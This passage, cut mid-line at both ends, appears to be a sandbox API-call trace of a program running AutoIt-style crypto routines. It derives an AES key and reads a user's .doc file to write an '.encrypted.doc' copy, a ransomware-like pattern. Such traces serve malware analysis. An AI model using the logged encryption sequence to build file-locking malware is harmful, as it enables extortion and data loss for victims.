lpMsg=0xe8f3dff160) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.282] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.282] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.282] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.283] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.283] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.284] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.284] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.284] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.284] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.284] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.284] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.285] CryptHashData (hHash=0xe8f4061c30, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.285] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.285] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.285] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4061c30, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.285] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.285] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.285] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.285] CryptDestroyHash (hHash=0xe8f4061c30) returned 1 [0024.286] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.287] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.doc" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\u9ofxvyam-srgnq.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.287] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.288] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu")) returned 0x10 [0024.288] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\u9ofxvyam-srgnq.encrypted.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.288] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.288] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.288] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.288] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.289] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.289] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x23db, lpOverlapped=0x0) returned 1 [0024.290] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.292] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.292] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.292] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.292] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.293] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.293] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.293] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f40649f0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649f0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.293] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 